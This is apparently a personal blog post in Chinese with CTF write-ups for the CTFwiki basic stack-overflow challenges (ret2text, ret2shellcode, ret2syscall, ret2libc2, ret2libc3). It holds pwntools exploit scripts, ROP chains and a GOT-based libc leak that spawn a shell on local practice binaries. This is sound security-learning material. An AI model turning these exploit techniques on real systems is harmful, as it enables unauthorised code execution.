Eureka's Studio.

CTFwiki基础栈溢出

2023/10/31

ctfwiki基础栈溢出部分题解

ret2text

我们在IDA中反编译该文件 并查看main函数 得到的C代码如下

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets(s);
printf("Maybe I will tell you next time !");
return 0;
}

我们看到了gets函数 一个非常常见的栈溢出点 若是从IDA的分析来看 栈结构应该是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
             +-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x64-->+-----------------+
| |
esp,s-0x1c-->|-----------------|

后面在查看secure函数的时候 我们看到了调用系统函数system的地方 注意那边的/bin/sh 他的地址是0x0804863A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
.text:080485FD                 public secure
.text:080485FD secure proc near
.text:080485FD
.text:080485FD input = dword ptr -10h
.text:080485FD secretcode = dword ptr -0Ch
.text:080485FD
.text:080485FD ; __unwind {
.text:080485FD push ebp
.text:080485FE mov ebp, esp
.text:08048600 sub esp, 28h
.text:08048603 mov dword ptr [esp], 0 ; timer
.text:0804860A call _time
.text:0804860F mov [esp], eax ; seed
.text:08048612 call _srand
.text:08048617 call _rand
.text:0804861C mov [ebp+secretcode], eax
.text:0804861F lea eax, [ebp+input]
.text:08048622 mov [esp+4], eax
.text:08048626 mov dword ptr [esp], offset unk_8048760
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp+input]
.text:08048635 cmp eax, [ebp+secretcode]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
.text:08048646
.text:08048646 locret_8048646: ; CODE XREF: secure+3B↑j
.text:08048646 leave
.text:08048647 retn
.text:08048647 ; } // starts at 80485FD
.text:08048647 secure endp

那么我们可以流程化的写个exp出来

1
2
3
4
5
from pwn import *
sh = process('./ret2text')
success_addr = 0x804863a
sh.sendline('a'*(0x64+4)+p32(success_addr))
sh.interactive()

但是结果就是打不通 和wp上不一样的地方是s距离ebp的地址并不是64 而是6c

1
sh.sendline('a'*(0x6c+4)+p32(success_addr))

更改payload之后执行并拿到系统bash 不过为什么呢 分析原因也只能是IDA上分析的栈结构错误 我们使用gdb的pwndbg进行动调 在此之前我们先使用cyclic获取一段长为200的字符串 然后输入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ gdb -q ./ret2text
pwndbg: loaded 192 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./ret2text...done.
pwndbg> r
Starting program: /home/harvey/Desktop/Pwn/CTFwiki/Basic ROP/ret2text/ret2text
There is something amazing here, do you know anything?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
EAX 0x0
EBX 0x0
ECX 0x21
EDX 0xf7fb8890 (_IO_stdfile_1_lock) ◂— 0x0
EDI 0x0
ESI 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d8c
EBP 0x62616163 ('caab')
ESP 0xffffcec0 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
EIP 0x62616164 ('daab')
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0x62616164

程序在这个时候出现了溢出 程序想要返回0x62616164值中的地址时无法返回于是报错 而这个地址正是我们需要利用的地址 我们只需要知道在这个地址之前填充了多少字符即可

1
2
pwndbg> cyclic -l 0x62616164
112 //6c+4--->112

当然 为了验证到底是6c还是64直接去观察栈结构即可 具体的肯定是在输入字符时的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
00:0000│ esp   0xffffd660 —▸ 0xffffd67c ◂— 'dawoxiansigema'
01:00040xffffd664 ◂— 0x0
02:00080xffffd668 ◂— 0x1
03:000c│ 0xffffd66c ◂— 0x0
... ↓ 2 skipped
06:00180xffffd678 —▸ 0xf7ffd000 ◂— 0x2bf24
07:001c│ eax 0xffffd67c ◂— 'dawoxiansigema'
08:00200xffffd680 ◂— 'xiansigema'
09:00240xffffd684 ◂— 'sigema'
0a:0028│ edx-2 0xffffd688 ◂— 0x616d /* 'ma' */
0b:002c│ 0xffffd68c —▸ 0xf7fbb224 (__elf_set___libc_subfreeres_element_free_mem__) —▸ 0xf7f44850 (free_mem) ◂— endbr32
0c:00300xffffd690 ◂— 0x0
0d:00340xffffd694 —▸ 0xf7fbd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
0e:00380xffffd698 —▸ 0xf7ffc7e0 (_rtld_global_ro) ◂— 0x0
0f:003c│ 0xffffd69c —▸ 0xf7fc04e8 (__exit_funcs_lock) ◂— 0x0
10:00400xffffd6a0 —▸ 0xf7fbd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
11:00440xffffd6a4 —▸ 0xf7fe22f0 ◂— endbr32
12:00480xffffd6a8 ◂— 0x0
13:004c│ 0xffffd6ac —▸ 0x8048425 (_init+9) ◂— add ebx, 0x1bdb
14:00500xffffd6b0 —▸ 0xf7fbd3fc (__exit_funcs) —▸ 0xf7fbe180 (initial) ◂— 0x0
15:00540xffffd6b4 ◂— 0x40000
16:00580xffffd6b8 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f14 (_DYNAMIC) ◂— 0x1
17:005c│ 0xffffd6bc —▸ 0x8048722 (__libc_csu_init+82) ◂— add edi, 1
18:00600xffffd6c0 ◂— 0x1
19:00640xffffd6c4 —▸ 0xffffd784 —▸ 0xffffd8a1 ◂— '/ctf/work/ret2text'
1a:00680xffffd6c8 —▸ 0xffffd78c —▸ 0xffffd8b4 ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
1b:006c│ 0xffffd6cc —▸ 0xf7e06479 (__cxa_atexit+41) ◂— add esp, 0x1c
1c:00700xffffd6d0 —▸ 0xf7fe22f0 ◂— endbr32
1d:00740xffffd6d4 ◂— 0x0
1e:00780xffffd6d8 —▸ 0x80486db (__libc_csu_init+11) ◂— add ebx, 0x1925
1f:007c│ 0xffffd6dc ◂— 0x0
20:00800xffffd6e0 —▸ 0xf7fbd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
21:00840xffffd6e4 —▸ 0xf7fbd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
22:0088│ ebp 0xffffd6e8 ◂— 0x0
23:008c│ 0xffffd6ec —▸ 0xf7decee5 (__libc_start_main+245) ◂— add esp, 0x10

6e8-67c=6c 所以这里证明了确实是 最终修改wp 成功拿到本机的shell

ret2shellcode

先用checksec看一下情况如何

1
2
3
4
5
6
7
[*] '/Users/apple/Desktop/ret2shellcode'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

好在NX是关闭的 也没有开启金丝雀 数据段还有可以利用的可能

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}

在ida静态分析中 很明显没有可以利用的现成system函数了 我们如果需要提权需要我们自己构造 我们看到了gets函数 很高危 除此之外就只有strncpy函数或许可以被利用了 跟进一步 看看buf2参数是否可以利用 strncpy函数本身是系统定义的 无需查看

1
2
3
4
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2 db 64h dup(?) ; DATA XREF: main+7B↑o
.bss:0804A080 _bss ends
.bss:0804A080

我们可以看到所在段是bss段 据说这段的数据有存在命令执行的可能 进入后尝试vmmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> vmmap
0x8048000 0x8049000 r-xp 1000 0 /ctf/work/ret2shellcode
0x8049000 0x804a000 r--p 1000 0 /ctf/work/ret2shellcode
0x804a000 0x804b000 rw-p 1000 1000 /ctf/work/ret2shellcode
0x804b000 0x806d000 rw-p 22000 0 [heap]
0xf7dd2000 0xf7deb000 r--p 19000 0 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7deb000 0xf7f46000 r-xp 15b000 19000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7f46000 0xf7fba000 r--p 74000 174000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fba000 0xf7fbb000 ---p 1000 1e8000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fbb000 0xf7fbd000 r--p 2000 1e8000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fbd000 0xf7fbe000 rw-p 1000 1ea000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fbe000 0xf7fc1000 rw-p 3000 0 [anon_f7fbe]
0xf7fc9000 0xf7fcb000 rw-p 2000 0 [anon_f7fc9]
0xf7fcb000 0xf7fcf000 r--p 4000 0 [vvar]
0xf7fcf000 0xf7fd1000 r-xp 2000 0 [vdso]
0xf7fd1000 0xf7fd2000 r--p 1000 0 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7fd2000 0xf7ff0000 r-xp 1e000 1000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ff0000 0xf7ffb000 r--p b000 1f000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffc000 0xf7ffd000 r--p 1000 2a000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffd000 0xf7ffe000 rw-p 1000 2b000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xfffdd000 0xffffe000 rwxp 21000 0 [stack]

然而除了最后一个stack以外 没有任何一个有rwx权限 这好像和ctfwiki上面写的不太一样 后来查过资料 linux内核5.0以上 bss段就默认没有可执行权限了 由于我的pwndocker内核>5.0了 于是此题只能作罢

1
2
3
4
5
6
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x0804a000
sh.sendline = (shellcode.ljust(112,'a')+p32(buf2_addr))
sh.interactive()

(虽然打不通 不过倒是发现了vscode+pwndocker+hyperpwn的绝妙组合)不过这种情况肯定会遇到 总是有解决办法的捏 具体可以看我写的get_started_3dsctf_2016这题

ret2syscall

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

checksec情况还是一样就开了个NX 看到这回情况是在ret2shellcode上升级而来的 去除了shellcode的可能性 尝试利用系统调用 我们的思路是利用execve函数 此题是getshell 如果是openflag的话可以去这个网站

1
<https://syscalls32.paolostivanin.com> #将32改为64可以查看64位情况

利用系统调用来调用函数和利用返回地址调用函数略微有不同 利用返回地址调用主要是覆盖返回地址 引导EIP跳转执行地址 而利用系统调用则是要覆盖寄存器 对于execve函数而言

1
2
3
4
5
execve("/bin/sh",NULL,NULL)
EAX ---> 0xb
EBX ---> /bin/sh
ECX ---> 0x0
EDX ---> 0x0

在系统调用之前 必须将四个寄存器设置为上述情况 然后进行系统调用就会调用execve了 当然上述情况都是利用ROPgadget搜寻程序内包含相应字符串地址进行的

1
ROPgadget --binary rop  --only 'pop|ret' | grep 'eax' 弹出栈顶至eax寄存器

当然可以一个一个进行操作 如果没有单个寄存器操作的也可以包含几个一起的

1
2
ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

然后寻找系统中断以及/bin/sh字符串相对应的函数地址 对于栈结构的构造原理不多说 可以查看我写的GET_STARTED_3DSCTF_2016题解

1
2
3
4
5
6
7
8
9
ROPgadget --binary rop  --string '/bin/sh' 
Strings information
============================================================
0x080be408 : /bin/sh

ROPgadget --binary rop --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80

EXP如下 成功执行shel

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
sh = process('./rop')
#context.log_level = 'debug'
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
bin_sh_addr = 0x080be408
int_80_addr = 0x08049421

padding = 112
payload = padding * 'a'
payload += p32(pop_eax_ret)
payload += p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret)
payload += p32(0x0)
payload += p32(0x0)
payload += p32(bin_sh_addr)
payload += p32(int_80_addr)

sh.sendline(payload)
sh.interactive()

当然肯定存在搜不到/bin/sh的情况 那我们可以自己输入他 同样利用系统调用 调用read函数进行输入

1
read(0,buf_addr,10) #具体寄存器情况查看之前那个网站 不再赘述

只不过read函数需要利用bss段写入 此时是不需要bss段权限的 因为我们自带执行函数 相当于这次我们只是写个字符串进去 上次ret2shellcode是写个可以交互的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import time
sh = process('./rop')
context.log_level = 'debug'
elf = ELF('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_80_addr = 0x0806f230
buf = elf.bss()

payload = 112 * 'a'
payload += p32(pop_eax_ret)
payload += p32(0x3)
payload += p32(pop_edx_ecx_ebx_ret)
payload += p32(0x10)
payload += p32(buf)
payload += p32(0x0)
payload += p32(int_80_addr)

payload += p32(pop_eax_ret)
payload += p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret)
payload += p32(0x0)
payload += p32(0x0)
payload += p32(buf)
payload += p32(int_80_addr)

sh.sendline(payload)
sleep(1)
sh.send('/bin/sh\\x00')
sleep(1)
sh.interactive()

不同的是 对于多个系统中断时 不能用一般的int 0x80 得用这个地址

1
2
3
4
$ ROPgadget --binary rop --opcode cd80c3
Opcodes information
============================================================
0x0806f230 : cd80c3

ret2libc2

大部分内容比较常规 主要是了解plt动态链接的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import time
context.log_level = 'debug'
sh = process('./ret2libc2')

gets_plt_addr = 0x08048460
system_plt_addr = 0x08048490
buf = 0x804a050
pop_addr = 0x0804843d

payload = 112 * 'a'
payload += p32(gets_plt_addr)
payload += p32(pop_addr)
payload += p32(buf)
payload += p32(system_plt_addr)
payload += 'bbbb'
payload += p32(buf)

sh.sendline(payload)
sleep(1)
sh.sendline('/bin/sh\\x00')
sh.interactive()

注意buf地址 原本想使用elf.bss() 后来发现一开始的段落并没有写入权限

1
2
3
4
pwndbg> vmmap
0x8048000 0x8049000 r-xp 1000 0 /ctf/work/ret2libc2
0x8049000 0x804a000 r--p 1000 0 /ctf/work/ret2libc2
0x804a000 0x804b000 rw-p 1000 1000 /ctf/work/ret2libc2

所以buf地址从0x804a000开始取 也别从边界加一点点就可以 在此题中动态链接这个知识点体现的不够突出 和静态链接情况差不多

ret2libc3

(出libc泄漏不给libc的都是老流氓)调了一整天了 就是不通 已经放弃了的时候 尝试更新了一下libc-database 在更新了俩小时之后 终于通了 wp都不想写了 注意几点

1
2
3
1.关于延迟绑定 泄漏函数起点的选择必须是当前输入函数之前已经执行过的
2.__libc_start_main.got是plt重定向时需要调用的 可以视为参数
3.libc中每个函数相对基址 以及函数间地址偏移都是固定的 所以可以现有地址-libc的offset=libc的基址

核心的思路就是利用puts函数将got表打印出来 由于动态链接puts函数只有plt表 那么就需要在前期puts被调用过 还有就是plt表存储的是指令 got表存储的是指令地址 而我们的返回地址必须存储的是指令 因此不能直接使用got表 这题还有一个很有意思的_start函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:080484D0
.text:080484D0 public _start
.text:080484D0 _start proc near ; DATA XREF: LOAD:08048018↑o
.text:080484D0 xor ebp, ebp
.text:080484D2 pop esi
.text:080484D3 mov ecx, esp
.text:080484D5 and esp, 0FFFFFFF0h
.text:080484D8 push eax
.text:080484D9 push esp ; stack_end
.text:080484DA push edx ; rtld_fini
.text:080484DB push offset __libc_csu_fini ; fini
.text:080484E0 push offset __libc_csu_init ; init
.text:080484E5 push ecx ; ubp_av
.text:080484E6 push esi ; argc
.text:080484E7 push offset main ; main
.text:080484EC call ___libc_start_main
.text:080484F1 hlt
.text:080484F1 _start endp
.text:080484F1

_start函数是对于计算机而言的入口 main函数是对用户而言的 _start其中有一行是对esp进行and操作 从而堆栈平衡 所以我们第二次直接返回main函数的话 栈就会多/少几个字符 去验证这一点是比较麻烦的 所以干脆第二次返回到_start函数即可 那你要是不正常返回可能报错数据无法正常输出哦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
#main = ret2libc3.symbols['main']
start = ret2libc3.symbols['_start']

payload = flat(['A' * 112, puts_plt, start, libc_start_main_got])
sh.sendlineafter('Can you find it !?', payload)

libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

payload = flat(['A' * 112, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

这个pwndocker初始的glibc可能版本太高了点 导致做这几题一直崩 于是去下了个glibc-all-in-one 自己手动配置一下2.23的环境 具体download自行百度

1
2
patchelf --set-interpreter /glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/ld-2.23.so /ctf/work/ret2libc3
patchelf --set-rpath /glibc-all-in-one/libs/2.23-0ubuntu11.3_i386 /ctf/work/ret2libc3
CATALOG
  1. 1. ret2text
  2. 2. ret2shellcode
  3. 3. ret2syscall
  4. 4. ret2libc2
  5. 5. ret2libc3